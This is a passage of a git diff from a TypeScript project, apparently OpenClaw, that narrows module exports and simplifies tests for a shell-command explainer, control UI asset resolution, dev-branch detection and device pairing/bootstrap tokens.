b/src/infra/command-analysis/risks.ts @@ -21,15 +21,15 @@ import { import { detectInterpreterInlineEvalArgv, type InterpreterInlineEvalHit } from "./inline-eval.js"; /** Shared command carrier constants used by approval policy and command explanation. */ -export { COMMAND_CARRIER_EXECUTABLES, resolveCarrierCommandArgv, SOURCE_EXECUTABLES }; +export { SOURCE_EXECUTABLES }; /** Command and flag pair that can carry nested command text. */ -export type CommandCarrierHit = { +type CommandCarrierHit = { command: string; flag?: string; }; -export type CarriedShellBuiltinHit = { kind: "eval" } | { kind: "source"; command: string }; +type CarriedShellBuiltinHit = { kind: "eval" } | { kind: "source"; command: string }; // Recurse through env, carriers, and shell wrappers while guarding argv cycles. function commandArgvKey(argv: readonly string[]): string { @@ -303,7 +303,7 @@ export function detectCommandCarrierArgv(argv: string[]): CommandCarrierHit[] { return hits; } -export function detectEnvSplitStringFlag(argv: string[]): string | null { +function detectEnvSplitStringFlag(argv: string[]): string | null { if (normalizeExecutableToken(argv[0] ?? "") !== "env") { return null; } diff --git a/src/infra/command-carriers.ts b/src/infra/command-carriers.ts index 8d78008f3b10..a90ff852bef9 100644 --- a/src/infra/command-carriers.ts +++ b/src/infra/command-carriers.ts @@ -213,7 +213,7 @@ function resolveEnvSplitPayload( return resolveEnvCarriedArgv(["env", ...carriedArgv], depth + 1) ?? carriedArgv; } -export type ParsedEnvInvocationPrelude = { +type ParsedEnvInvocationPrelude = { assignmentKeys: string[]; commandIndex: number; splitArgv?: string[]; diff --git a/src/infra/command-explainer/extract.test.ts b/src/infra/command-explainer/extract.test.ts index 6614bde9524b..aa26af0948dd 100644 --- a/src/infra/command-explainer/extract.test.ts +++ b/src/infra/command-explainer/extract.test.ts @@ -1,134 +1,8 @@ // Covers rich shell-command extraction, fake parser shapes, source span mapping, // nested wrapper parsing, and parser error handling. -import { afterEach, describe, expect, it, vi } from "vitest"; -import type { Node as TreeSitterNode, Parser, Tree } from "web-tree-sitter"; +import { describe, expect, it } from "vitest"; import { explainShellCommand } from "./extract.js"; -import { - getBashParserForCommandExplanation, - parseBashForCommandExplanation, - resolvePackageFileForCommandExplanation, - setBashParserLoaderForCommandExplanationForTest, -} from "./tree-sitter-runtime.js"; - -let parserLoaderOverridden = false; - -function setParserLoaderForTest(loader: () => Promise): void { - parserLoaderOverridden = true; - setBashParserLoaderForCommandExplanationForTest(loader); -} - -type FakeNodeInit = { - type: string; - text: string; - startIndex: number; - endIndex: number; - startPosition: TreeSitterNode["startPosition"]; - endPosition: TreeSitterNode["endPosition"]; - namedChildren?: TreeSitterNode[]; - fieldChildren?: Record; - hasError?: boolean; -}; - -function fakeNode(init: FakeNodeInit): TreeSitterNode { - const named = init.namedChildren ?? []; - const children = named; - return { - type: init.type, - text: init.text, - startIndex: init.startIndex, - endIndex: init.endIndex, - startPosition: init.startPosition, - endPosition: init.endPosition, - childCount: children.length, - namedChildCount: named.length, - hasError: init.hasError ?? false, - child(index: number): TreeSitterNode | null { - return children[index] ?? null; - }, - namedChild(index: number): TreeSitterNode | null { - return named[index] ?? null; - }, - childForFieldName(name: string): TreeSitterNode | null { - return init.fieldChildren?.[name] ?? null; - }, - } as unknown as TreeSitterNode; -} - -function createByteIndexedUnicodeCommandTree(source: string): Tree { - const firstCommand = "echo café"; - const separator = " && "; - const secondCommand = "echo ok"; - const firstCommandEnd = Buffer.byteLength(firstCommand, "utf8"); - const secondCommandStart = Buffer.byteLength(firstCommand + separator, "utf8"); - const sourceEnd = Buffer.byteLength(source, "utf8"); - - const firstName = fakeNode({ - type: "command_name", - text: "echo", - startIndex: 0, - endIndex: 4, - startPosition: { row: 0, column: 0 }, - endPosition: { row: 0, column: 4 }, - }); - const firstArgument = fakeNode({ - type: "word", - text: "café", - startIndex: 5, - endIndex: firstCommandEnd, - startPosition: { row: 0, column: 5 }, - endPosition: { row: 0, column: firstCommandEnd }, - }); - const first = fakeNode({ - type: "command", - text: firstCommand, - startIndex: 0, - endIndex: firstCommandEnd, - startPosition: { row: 0, column: 0 }, - endPosition: { row: 0, column: firstCommandEnd }, - namedChildren: [firstName, firstArgument], - fieldChildren: { name: firstName }, - }); - - const secondName = fakeNode({ - type: "command_name", - text: "echo", - startIndex: secondCommandStart, - endIndex: secondCommandStart + 4, - startPosition: { row: 0, column: secondCommandStart }, - endPosition: { row: 0, column: secondCommandStart + 4 }, - }); - const secondArgument = fakeNode({ - type: "word", - text: "ok", - startIndex: secondCommandStart + 5, - endIndex: sourceEnd, - startPosition: { row: 0, column: secondCommandStart + 5 }, - endPosition: { row: 0, column: sourceEnd }, - }); - const second = fakeNode({ - type: "command", - text: secondCommand, - startIndex: secondCommandStart, - endIndex: sourceEnd, - startPosition: { row: 0, column: secondCommandStart }, - endPosition: { row: 0, column: sourceEnd }, - namedChildren: [secondName, secondArgument], - fieldChildren: { name: secondName }, - }); - - return { - rootNode: fakeNode({ - type: "program", - text: source, - startIndex: 0, - endIndex: sourceEnd, - startPosition: { row: 0, column: 0 }, - endPosition: { row: 0, column: sourceEnd }, - namedChildren: [first, second], - }), - delete: vi.fn(), - } as unknown as Tree; -} +import { parseBashForCommandExplanation } from "./tree-sitter-runtime.js"; function riskMatches(risk: unknown, fields: Record): boolean { if (!risk || typeof risk !== "object") { @@ -155,14 +29,6 @@ function spanText(source: string, span: { startIndex: number; endIndex: number } return source.slice(span.startIndex, span.endIndex); } -afterEach(() => { - if (parserLoaderOverridden) { - setBashParserLoaderForCommandExplanationForTest(); - parserLoaderOverridden = false; - } - vi.restoreAllMocks(); -}); - describe("command explainer tree-sitter runtime", () => { it("loads tree-sitter bash and parses a simple command", async () => { const tree = await parseBashForCommandExplanation("ls | grep stuff"); @@ -181,78 +47,19 @@ describe("command explainer tree-sitter runtime", () => { ); }); - it("retries parser initialization after a loader rejection", async () => { - const parser = {} as Parser; - let calls = 0; - setParserLoaderForTest(async () => { - calls += 1; - if (calls === 1) { - throw new Error("transient parser load failure"); - } - return parser; - }); - - await expect(getBashParserForCommandExplanation()).rejects.toThrow( - "transient parser load failure", - ); - await expect(getBashParserForCommandExplanation()).resolves.toBe(parser); - expect(calls).toBe(2); - }); - - it("reports missing parser packages and wasm files with explainer context", () => { - expect(() => - resolvePackageFileForCommandExplanation( - "definitely-missing-openclaw-parser-package", - "parser.wasm", - ), - ).toThrow("Unable to resolve definitely-missing-openclaw-parser-package"); - - expect(() => - resolvePackageFileForCommandExplanation("web-tree-sitter", "missing-openclaw-parser.wasm"), - ).toThrow("Unable to locate missing-openclaw-parser.wasm in web-tree-sitter"); - }); - - it("reports parser progress cancellation as a timeout", async () => { - const reset = vi.fn(); - const parser = { - parse: ( - _source: string, - _oldTree: unknown, - options?: { progressCallback?: (state: unknown) => boolean }, - ) => { - options?.progressCallback?.({ currentOffset: 0, hasError: false }); - return null; - }, - reset, - } as unknown as Parser; - vi.spyOn(performance, "now").mockReturnValueOnce(0).mockReturnValue(501); - setParserLoaderForTest(async () => parser); - - await expect(parseBashForCommandExplanation("echo hi")).rejects.toThrow( - "tree-sitter-bash timed out after 500ms while parsing shell command", - ); - expect(reset).toHaveBeenCalledOnce(); - }); - it("maps parser byte offsets to JavaScript string spans for Unicode source", async () => { const source = "echo café && echo ok"; - const parser = { - parse: vi.fn(() => createByteIndexedUnicodeCommandTree(source)), - reset: vi.fn(), - }; - setParserLoaderForTest(async () => parser as unknown as Parser); - const explanation = await explainShellCommand(source); expect(explanation.topLevelCommands).toHaveLength(2); - expect(explanation.topLevelCommands[0]?.executable).toBe("echo"); - expect(explanation.topLevelCommands[0]?.argv).toEqual(["echo", "café"]); - expect(explanation.topLevelCommands[0]?.span.startIndex).toBe(0); - expect(explanation.topLevelCommands[0]?.span.endIndex).toBe(9); - expect(explanation.topLevelCommands[1]?.executable).toBe("echo"); - expect(explanation.topLevelCommands[1]?.argv).toEqual(["echo", "ok"]); - expect(explanation.topLevelCommands[1]?.span.startIndex).toBe(13); - expect(explanation.topLevelCommands[1]?.span.endIndex).toBe(20); + expect(explanation.topLevelCommands.map((command) => command.argv)).toEqual([ + ["echo", "café"], + ["echo", "ok"], + ]); + expect(explanation.topLevelCommands.map((command) => command.span)).toMatchObject([ + { startIndex: 0, endIndex: 9 }, + { startIndex: 13, endIndex: 20 }, + ]); for (const command of explanation.topLevelCommands) { expect(source.slice(command.span.startIndex, command.span.endIndex)).toBe(command.text); expect(command.span.endPosition.column).toBe(command.span.endIndex); diff --git a/src/infra/command-explainer/tree-sitter-runtime.ts b/src/infra/command-explainer/tree-sitter-runtime.ts index b6d8e7dca117..3ca3a0e58f4f 100644 --- a/src/infra/command-explainer/tree-sitter-runtime.ts +++ b/src/infra/command-explainer/tree-sitter-runtime.ts @@ -8,14 +8,11 @@ import * as TreeSitter from "web-tree-sitter"; const require = createRequire(import.meta.url); let parserPromise: Promise | null = null; -let parserLoader: () => Promise = loadParser; +const parserLoader: () => Promise = loadParser; const MAX_COMMAND_EXPLANATION_SOURCE_CHARS = 128 * 1024; const MAX_COMMAND_EXPLANATION_PARSE_MS = 500; -export function resolvePackageFileForCommandExplanation( - packageName: string, - fileName: string, -): string { +function resolvePackageFileForCommandExplanation(packageName: string, fileName: string): string { let packageEntry: string; try { packageEntry = require.resolve(packageName); @@ -63,7 +60,7 @@ async function loadParser(): Promise { return parser; } -export function getBashParserForCommandExplanation(): Promise { +function getBashParserForCommandExplanation(): Promise { // Reset the cache on load failure so transient filesystem or WASM init errors // do not poison all later command explanations in the process. parserPromise ??= parserLoader().catch((error: unknown) => { @@ -71,16 +68,7 @@ export function getBashParserForCommandExplanation(): Promise throw error; }); return parserPromise; -} - -export function setBashParserLoaderForCommandExplanationForTest( - loader?: () => Promise, -): void { - parserPromise = null; - parserLoader = loader ?? loadParser; -} - -/** +} /** * Low-level parser access for tests and parser diagnostics. * Callers own the returned Tree and must call tree.delete(). * Prefer explainShellCommand for normal command-explainer use. diff --git a/src/infra/control-ui-assets.test.ts b/src/infra/control-ui-assets.test.ts index baf250c62e7a..28ea010f47e1 100644 --- a/src/infra/control-ui-assets.test.ts +++ b/src/infra/control-ui-assets.test.ts @@ -75,8 +75,6 @@ vi.mock("../process/exec.js", () => ({ })); let ensureControlUiAssetsBuilt: typeof import("./control-ui-assets.js").ensureControlUiAssetsBuilt; -let resolveControlUiRepoRoot: typeof import("./control-ui-assets.js").resolveControlUiRepoRoot; -let resolveControlUiDistIndexPath: typeof import("./control-ui-assets.js").resolveControlUiDistIndexPath; let resolveControlUiDistIndexHealth: typeof import("./control-ui-assets.js").resolveControlUiDistIndexHealth; let isPackageProvenControlUiRootSync: typeof import("./control-ui-assets.js").isPackageProvenControlUiRootSync; let resolveControlUiRootOverrideSync: typeof import("./control-ui-assets.js").resolveControlUiRootOverrideSync; @@ -87,8 +85,6 @@ describe("control UI assets helpers (fs-mocked)", () => { beforeAll(async () => { ({ ensureControlUiAssetsBuilt, - resolveControlUiRepoRoot, - resolveControlUiDistIndexPath, resolveControlUiDistIndexHealth, isPackageProvenControlUiRootSync, resolveControlUiRootOverrideSync, @@ -104,72 +100,6 @@ describe("control UI assets helpers (fs-mocked)", () => { vi.clearAllMocks(); }); - it("resolves repo root from src argv1", () => { - const root = abs("fixtures/ui-src"); - setFile(path.join(root, "ui", "vite.config.ts"), "export {};\n"); - - const argv1 = path.join(root, "src", "index.ts"); - expect(resolveControlUiRepoRoot(argv1)).toBe(root); - }); - - it("resolves repo root by traversing up (dist argv1)", () => { - const root = abs("fixtures/ui-dist"); - setFile(path.join(root, "package.json"), "{}\n"); - setFile(path.join(root, "ui", "vite.config.ts"), "export {};\n"); - - const argv1 = path.join(root, "dist", "index.js"); - expect(resolveControlUiRepoRoot(argv1)).toBe(root); - }); - - it("resolves dist control-ui index path for dist argv1", async () => { - const argv1 = abs(path.join("fixtures", "pkg", "dist", "index.js")); - const distDir = path.dirname(argv1); - await expect(resolveControlUiDistIndexPath(argv1)).resolves.toBe( - path.join(distDir, "control-ui", "index.html"), - ); - }); - - it("resolves dist control-ui index path for symlinked argv1 via realpath", async () => { - const pkgRoot = abs("fixtures/bun-global/openclaw"); - const wrapperArgv1 = abs("fixtures/bin/openclaw"); - const realEntrypoint = path.join(pkgRoot, "dist", "index.js"); - - state.realpaths.set(wrapperArgv1, realEntrypoint); - - await expect(resolveControlUiDistIndexPath(wrapperArgv1)).resolves.toBe( - path.join(pkgRoot, "dist", "control-ui", "index.html"), - ); - }); - - it("uses resolveOpenClawPackageRoot when available", async () => { - const pkgRoot = abs("fixtures/openclaw"); - ( - openclawRoot.resolveOpenClawPackageRoot as unknown as ReturnType - ).mockResolvedValueOnce(pkgRoot); - - await expect(resolveControlUiDistIndexPath(abs("fixtures/bin/openclaw"))).resolves.toBe( - path.join(pkgRoot, "dist", "control-ui", "index.html"), - ); - }); - - it("falls back to package.json name matching when root resolution fails", async () => { - const root = abs("fixtures/fallback"); - setFile(path.join(root, "package.json"), JSON.stringify({ name: "openclaw" })); - setFile(path.join(root, "dist", "control-ui", "index.html"), "\n"); - - await expect(resolveControlUiDistIndexPath(path.join(root, "openclaw.mjs"))).resolves.toBe( - path.join(root, "dist", "control-ui", "index.html"), - ); - }); - - it("returns null when fallback package name does not match", async () => { - const root = abs("fixtures/not-openclaw"); - setFile(path.join(root, "package.json"), JSON.stringify({ name: "malicious-pkg" })); - setFile(path.join(root, "dist", "control-ui", "index.html"), "\n"); - - await expect(resolveControlUiDistIndexPath(path.join(root, "index.mjs"))).resolves.toBeNull(); - }); - it("reports health for missing + existing dist assets", async () => { const root = abs("fixtures/health"); const indexPath = path.join(root, "dist", "control-ui", "index.html"); diff --git a/src/infra/control-ui-assets.ts b/src/infra/control-ui-assets.ts index 22412d85d31c..17de3cf34da4 100644 --- a/src/infra/control-ui-assets.ts +++ b/src/infra/control-ui-assets.ts @@ -38,9 +38,7 @@ export async function resolveControlUiDistIndexHealth( }; } -export function resolveControlUiRepoRoot( - argv1: string | undefined = process.argv[1], -): string | null { +function resolveControlUiRepoRoot(argv1: string | undefined = process.argv[1]): string | null { if (!argv1) { return null; } @@ -72,7 +70,7 @@ export function resolveControlUiRepoRoot( return null; } -export async function resolveControlUiDistIndexPath( +async function resolveControlUiDistIndexPath( argv1OrOpts?: string | { argv1?: string; moduleUrl?: string }, ): Promise { const argv1 = diff --git a/src/infra/delivery-queue-sqlite.ts b/src/infra/delivery-queue-sqlite.ts index b1639e35756d..5163f4761858 100644 --- a/src/infra/delivery-queue-sqlite.ts +++ b/src/infra/delivery-queue-sqlite.ts @@ -22,7 +22,7 @@ export type DeliveryQueueRowMetadata = { }; /** Persisted queue entry fields common to all delivery queue payloads. */ -export type DeliveryQueueEntryState = { +type DeliveryQueueEntryState = { id: string; enqueuedAt: number; retryCount: number; @@ -32,7 +32,7 @@ export type DeliveryQueueEntryState = { recoveryState?: string; }; -export type FailPendingDeliveryQueueEntryResult = { status: "failed" } | { status: "not_pending" }; +type FailPendingDeliveryQueueEntryResult = { status: "failed" } | { status: "not_pending" }; type QueueRow = { id: string; @@ -245,7 +245,7 @@ export function updateDeliveryQueueEntry( } /** Dead-lettered entry counts for one queue namespace. */ -export type FailedDeliveryQueueCount = { +type FailedDeliveryQueueCount = { queueName: string; count: number; oldestFailedAt: number | null; diff --git a/src/infra/delivery-recovery.shared.ts b/src/infra/delivery-recovery.shared.ts index dab08a94161e..d2769200c603 100644 --- a/src/infra/delivery-recovery.shared.ts +++ b/src/infra/delivery-recovery.shared.ts @@ -5,7 +5,7 @@ import { isPlatformMessageNotDispatchedError } from "./outbound/deliver-types.js import { getRetryAttemptErrors } from "./retry-attempt-errors.js"; const RECOVERY_BACKOFF_MS: readonly number[] = [5_000, 25_000, 120_000, 600_000]; -export const RECOVERY_REPLAY_SPACING_MS = 250; +const RECOVERY_REPLAY_SPACING_MS = 250; const PRE_CONNECT_ERROR_CODES = new Set([ "ECONNREFUSED", diff --git a/src/infra/detect-binary.test.ts b/src/infra/detect-binary.test.ts index fbc47ddbc2bd..815a3f1f6518 100644 --- a/src/infra/detect-binary.test.ts +++ b/src/infra/detect-binary.test.ts @@ -1,8 +1,8 @@ // Covers host binary detection command selection. +import fs from "node:fs"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; import { withMockedWindowsPlatform } from "../test-utils/vitest-spies.js"; -import { resetWindowsInstallRootsForTests } from "./windows-install-roots.js"; const runCommandWithTimeoutMock = vi.hoisted(() => vi.fn()); @@ -16,13 +16,18 @@ afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); runCommandWithTimeoutMock.mockReset(); - resetWindowsInstallRootsForTests(); }); describe("detectBinary", () => { it("uses the trusted Windows where.exe when probing PATH", async () => { + const accessSync = fs.accessSync.bind(fs); + vi.spyOn(fs, "accessSync").mockImplementation((filePath, mode) => { + if (String(filePath).toLowerCase() === "c:\\windows\\system32\\reg.exe") { + throw new Error("registry lookup disabled for test"); + } + return accessSync(filePath, mode); + }); vi.stubEnv("SystemRoot", "D:\\Windows"); - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); runCommandWithTimeoutMock.mockResolvedValue({ code: 0, stdout: "D:\\Tools\\openclaw.exe\n", diff --git a/src/infra/dev-install-branch.test.ts b/src/infra/dev-install-branch.test.ts index 1000e0845eae..7244e8dc73c0 100644 --- a/src/infra/dev-install-branch.test.ts +++ b/src/infra/dev-install-branch.test.ts @@ -1,9 +1,8 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { afterAll, describe, expect, it } from "vitest"; +import { afterAll, afterEach, describe, expect, it, vi } from "vitest"; import type { runCommandWithTimeout } from "../process/exec.js"; -import { detectDevInstallGitBranch } from "./dev-install-branch.js"; type RunCommand = typeof runCommandWithTimeout; @@ -12,8 +11,8 @@ const tmpRoots: string[] = []; async function makeRoot(): Promise { const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-dev-branch-")); tmpRoots.push(dir); - // macOS tmpdir is a symlink (/var -> /private/var); the resolver compares - // canonical paths, so hand it the realpath like prod package roots. + // macOS tmpdir is a symlink (/var -> /private/var); production compares + // canonical package and git roots. return await fs.realpath(dir); } @@ -38,14 +37,32 @@ function makeRunCommand(byArg: { }; } +async function resolveBranch(params: { + root: string | null; + runCommand: RunCommand; +}): Promise { + vi.doMock("../process/exec.js", () => ({ runCommandWithTimeout: params.runCommand })); + vi.doMock("./openclaw-root.js", () => ({ + resolveOpenClawPackageRoot: vi.fn(async () => params.root), + })); + const { resolveDevInstallGitBranch } = await import("./dev-install-branch.js"); + return await resolveDevInstallGitBranch(); +} + +afterEach(() => { + vi.resetModules(); + vi.doUnmock("../process/exec.js"); + vi.doUnmock("./openclaw-root.js"); +}); + afterAll(async () => { await Promise.all(tmpRoots.map((dir) => fs.rm(dir, { recursive: true, force: true }))); }); -describe("detectDevInstallGitBranch", () => { +describe("resolveDevInstallGitBranch", () => { it("returns the branch for a source checkout on a feature branch", async () => { const root = await makeRoot(); - const branch = await detectDevInstallGitBranch({ + const branch = await resolveBranch({ root, runCommand: makeRunCommand({ toplevel: { code: 0, stdout: `${root}\n` }, @@ -56,20 +73,15 @@ describe("detectDevInstallGitBranch", () => { }); it("returns null without a package root", async () => { - const branch = await detectDevInstallGitBranch({ - root: null, - runCommand: makeRunCommand({}), - }); + const branch = await resolveBranch({ root: null, runCommand: makeRunCommand({}) }); expect(branch).toBeNull(); }); it("returns null when the root is not inside a git repo", async () => { const root = await makeRoot(); - const branch = await detectDevInstallGitBranch({ + const branch = await resolveBranch({ root, - runCommand: makeRunCommand({ - toplevel: { code: 128, stdout: "" }, - }), + runCommand: makeRunCommand({ toplevel: { code: 128, stdout: "" } }), }); expect(branch).toBeNull(); }); @@ -78,7 +90,7 @@ describe("detectDevInstallGitBranch", () => { const root = await makeRoot(); const nested = path.join(root, "node_modules", "openclaw"); await fs.mkdir(nested, { recursive: true }); - const branch = await detectDevInstallGitBranch({ + const branch = await resolveBranch({ root: nested, runCommand: makeRunCommand({ toplevel: { code: 0, stdout: `${root}\n` }, @@ -90,7 +102,7 @@ describe("detectDevInstallGitBranch", () => { it.each(["main", "master", "HEAD", ""])("hides mainline/detached state %j", async (name) => { const root = await makeRoot(); - const branch = await detectDevInstallGitBranch({ + const branch = await resolveBranch({ root, runCommand: makeRunCommand({ toplevel: { code: 0, stdout: `${root}\n` }, @@ -102,7 +114,7 @@ describe("detectDevInstallGitBranch", () => { it("returns null when git branch resolution fails", async () => { const root = await makeRoot(); - const branch = await detectDevInstallGitBranch({ + const branch = await resolveBranch({ root, runCommand: makeRunCommand({ toplevel: { code: 0, stdout: `${root}\n` }, diff --git a/src/infra/dev-install-branch.ts b/src/infra/dev-install-branch.ts index ee49024ad8b5..bfa5f53d56c2 100644 --- a/src/infra/dev-install-branch.ts +++ b/src/infra/dev-install-branch.ts @@ -11,7 +11,7 @@ const GIT_TIMEOUT_MS = 3000; // checkouts that drifted off the mainline. "HEAD" is git's detached marker. const HIDDEN_BRANCHES = new Set(["main", "master", "HEAD"]); -export async function detectDevInstallGitBranch(params: { +async function detectDevInstallGitBranch(params: { root: string | null; runCommand?: typeof runCommandWithTimeout; }): Promise { diff --git a/src/infra/device-bootstrap.test.ts b/src/infra/device-bootstrap.test.ts index d69a6cc9f3d5..5b51a276af5f 100644 --- a/src/infra/device-bootstrap.test.ts +++ b/src/infra/device-bootstrap.test.ts @@ -7,7 +7,6 @@ import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js import { createTrackedTempDirs } from "../test-utils/tracked-temp-dirs.js"; import { clearDeviceBootstrapTokens, - DEVICE_BOOTSTRAP_TOKEN_TTL_MS, getBoundDeviceBootstrapProfile, getDeviceBootstrapTokenProfile, issueDeviceBootstrapToken, @@ -50,7 +49,7 @@ afterEach(async () => { }); describe("device bootstrap tokens", () => { - it("issues bootstrap tokens and persists them with an expiry", async () => { + it("issues bootstrap tokens and persists them with a ten-minute expiry", async () => { vi.useFakeTimers(); vi.setSystemTime(new Date("2026-03-14T12:00:00Z")); @@ -58,15 +57,15 @@ describe("device bootstrap tokens", () => { const issued = await issueDeviceBootstrapToken({ baseDir }); expect(issued.token).toMatch(/^[A-Za-z0-9_-]+$/); - expect(issued.expiresAtMs).toBe(Date.now() + DEVICE_BOOTSTRAP_TOKEN_TTL_MS); - - const records = loadDeviceBootstrapTokenRecords(baseDir); - expect(records[issued.token]?.token).toBe(issued.token); - expect(records[issued.token]?.ts).toBe(Date.now()); - expect(records[issued.token]?.issuedAtMs).toBe(Date.now()); - expect(records[issued.token]?.profile).toEqual({ - roles: ["node", "operator"], - scopes: ["operator.approvals", "operator.read", "operator.talk.secrets", "operator.write"], + expect(issued.expiresAtMs).toBe(Date.now() + 10 * 60 * 1000); + expect(loadDeviceBootstrapTokenRecords(baseDir)[issued.token]).toMatchObject({ + token: issued.token, + ts: Date.now(), + issuedAtMs: Date.now(), + profile: { + roles: ["node", "operator"], + scopes: ["operator.approvals", "operator.read", "operator.talk.secrets", "operator.write"], + }, }); }); @@ -287,7 +286,7 @@ describe("device bootstrap tokens", () => { expect(loadDeviceBootstrapTokenRecords(baseDir)[issued.token]).toBeDefined(); }); - it("rejects admin verification for the least-privilege default profile", async () => { + it("rejects bootstrap verification when scopes exceed the issued profile", async () => { const baseDir = await createTempDir(); const issued = await issueDeviceBootstrapToken({ baseDir }); @@ -545,32 +544,29 @@ describe("device bootstrap tokens", () => { it("fails closed for profileless records and prunes expired tokens", async () => { vi.useFakeTimers(); const baseDir = await createTempDir(); - vi.setSystemTime(new Date("2026-03-14T12:00:00Z")); - const profilelessTokenValue = ["profileless", "token"].join("-"); - const expiredTokenValue = ["expired", "token"].join("-"); + const tokenTtlMs = 10 * 60 * 1000; persistDeviceBootstrapTokenRecords( { - [profilelessTokenValue]: { - token: profilelessTokenValue, + "profileless-token": { + token: "profileless-token", ts: Date.now(), issuedAtMs: Date.now(), }, - [expiredTokenValue]: { - token: expiredTokenValue, - ts: Date.now() - DEVICE_BOOTSTRAP_TOKEN_TTL_MS - 1, - issuedAtMs: Date.now() - DEVICE_BOOTSTRAP_TOKEN_TTL_MS - 1, + "expired-token": { + token: "expired-token", + ts: Date.now() - tokenTtlMs - 1, + issuedAtMs: Date.now() - tokenTtlMs - 1, }, }, baseDir, ); - await expect(verifyBootstrapToken(baseDir, profilelessTokenValue)).resolves.toEqual({ + await expect(verifyBootstrapToken(baseDir, "profileless-token")).resolves.toEqual({ ok: false, reason: "bootstrap_token_invalid", }); - - await expect(verifyBootstrapToken(baseDir, expiredTokenValue)).resolves.toEqual({ + await expect(verifyBootstrapToken(baseDir, "expired-token")).resolves.toEqual({ ok: false, reason: "bootstrap_token_invalid", }); diff --git a/src/infra/device-bootstrap.ts b/src/infra/device-bootstrap.ts index df6044ef4e26..11271e7e520d 100644 --- a/src/infra/device-bootstrap.ts +++ b/src/infra/device-bootstrap.ts @@ -24,9 +24,7 @@ import { createAsyncLock, pruneExpiredPending } from "./pairing-files.js"; import { generatePairingToken, verifyPairingToken } from "./pairing-token.js"; /** Bootstrap pairing tokens are short-lived bearer credentials for first device auth. */ -export const DEVICE_BOOTSTRAP_TOKEN_TTL_MS = 10 * 60 * 1000; - -export type { DeviceBootstrapTokenRecord } from "./device-pairing.types.js"; +const DEVICE_BOOTSTRAP_TOKEN_TTL_MS = 10 * 60 * 1000; type DeviceBootstrapStateFile = Record; diff --git a/src/infra/device-pairing-migration.ts b/src/infra/device-pairing-migration.ts index 6c6fdb59c04b..ce66187e2ced 100644 --- a/src/infra/device-pairing-migration.ts +++ b/src/infra/device-pairing-migration.ts @@ -15,7 +15,7 @@ import { resolvePairingPaths, } from "./pairing-files.js"; -export type LegacyDevicePairingMigrationResult = { +type LegacyDevicePairingMigrationResult = { imported: number; skippedExisting: number; }; diff --git a/src/infra/device-pairing-prune.test.ts b/src/infra/device-pairing-prune.test.ts index cf74a81214eb..446c49b2d927 100644 --- a/src/infra/device-pairing-prune.test.ts +++ b/src/infra/device-pairing-prune.test.ts @@ -10,10 +10,12 @@ import { pruneSupersededSilentPairedDevices, requestDevicePairing, withPairedDeviceRecords, - type PairedDeviceApprovalKind, } from "./device-pairing.js"; const suiteRootTracker = createSuiteTempRootTracker({ prefix: "openclaw-device-pairing-prune-" }); +type PairedDeviceApprovalKind = NonNullable< + Parameters[1]["approvedVia"] +>; async function makeBaseDir(): Promise { return await suiteRootTracker.make("case"); diff --git a/src/infra/device-pairing-store.ts b/src/infra/device-pairing-store.ts index 0169f98b65c0..8202e9ed65c7 100644 --- a/src/infra/device-pairing-store.ts +++ b/src/infra/device-pairing-store.ts @@ -27,15 +27,15 @@ import type { } from "./device-pairing.types.js"; import { executeSqliteQuerySync, getNodeSqliteKysely } from "./kysely-sync.js"; -export type DevicePairingStoreState = { +type DevicePairingStoreState = { pendingById: Record; pairedByDeviceId: Record; }; -export type DevicePairingStoreTarget = "pending" | "paired" | "both"; +type DevicePairingStoreTarget = "pending" | "paired" | "both"; /** Route an explicit pairing base dir (tests, alternate state roots) to that dir's DB. */ -export function resolveDevicePairingStateDbOptions(baseDir?: string): OpenClawStateDatabaseOptions { +function resolveDevicePairingStateDbOptions(baseDir?: string): OpenClawStateDatabaseOptions { return baseDir ? { env: { ...process.env, OPENCLAW_STATE_DIR: baseDir } } : {}; } diff --git a/src/infra/device-pairing.test.ts b/src/infra/device-pairing.test.ts index 9de6a4f76239..2dd9263e60ab 100644 --- a/src/infra/device-pairing.test.ts +++ b/src/infra/device-pairing.test.ts @@ -28,9 +28,10 @@ import { verifyDeviceToken, withPairedDeviceRecords, type PairedDevice, - type RotateDeviceTokenResult, } from "./device-pairing.js"; +type RotateDeviceTokenResult = Awaited>; + async function setupPairedOperatorDevice(baseDir: string, scopes: string[]) { const request = await requestDevicePairing( { diff --git a/src/infra/device-pairing.ts b/src/infra/device-pairing.ts index df7c9cdb552a..acc7601a5407 100644 --- a/src/infra/device-pairing.ts +++ b/src/infra/device-pairing.ts @@ -30,22 +30,16 @@ import { generatePairingToken, verifyPairingToken } from "./pairing-token.js"; export type { DeviceAuthToken, - DevicePairingPendingRecord, DevicePairingPendingRequest, PairedDevice, - PairedDeviceApprovalKind, - PairedDeviceNodeSurface, PairedDevicePendingNodeSurface, } from "./device-pairing.types.js"; /** Pending request summary returned when a replacement supersedes older requests. */ -export type DevicePairingSupersededRequest = Pick< - DevicePairingPendingRequest, - "requestId" | "deviceId" ->; +type DevicePairingSupersededRequest = Pick; /** Result for creating or refreshing a pending device pairing request. */ -export type RequestDevicePairingResult = { +type RequestDevicePairingResult = { status: "pending"; request: DevicePairingPendingRequest; created: boolean; @@ -70,19 +64,19 @@ export type RotateDeviceTokenDenyReason = | "caller-missing-scope"; /** Token rotation result with the replacement token entry on success. */ -export type RotateDeviceTokenResult = +type RotateDeviceTokenResult = | { ok: true; entry: DeviceAuthToken } | { ok: false; reason: RotateDeviceTokenDenyReason; scope?: string }; export type RevokeDeviceTokenDenyReason = "unknown-device-or-role" | "caller-missing-scope"; /** Token revocation result with the revoked entry on success. */ -export type RevokeDeviceTokenResult = +type RevokeDeviceTokenResult = | { ok: true; entry: DeviceAuthToken } | { ok: false; reason: RevokeDeviceTokenDenyReason; scope?: string }; /** Metadata fields a device may refresh without changing approval or token state. */ -export type PairedDeviceMetadataPatch = Pick< +type PairedDeviceMetadataPatch = Pick< PairedDevice, | "displayName" | "operatorLabel" @@ -95,19 +89,19 @@ export type PairedDeviceMetadataPatch = Pick< >; /** Paired-device access metadata refreshed when an existing device reconnects. */ -export type DevicePairingAccessMetadata = Pick< +type DevicePairingAccessMetadata = Pick< PairedDevice, "displayName" | "remoteIp" | "lastSeenAtMs" | "lastSeenReason" >; /** Combined pending/paired view returned by pairing list APIs. */ -export type 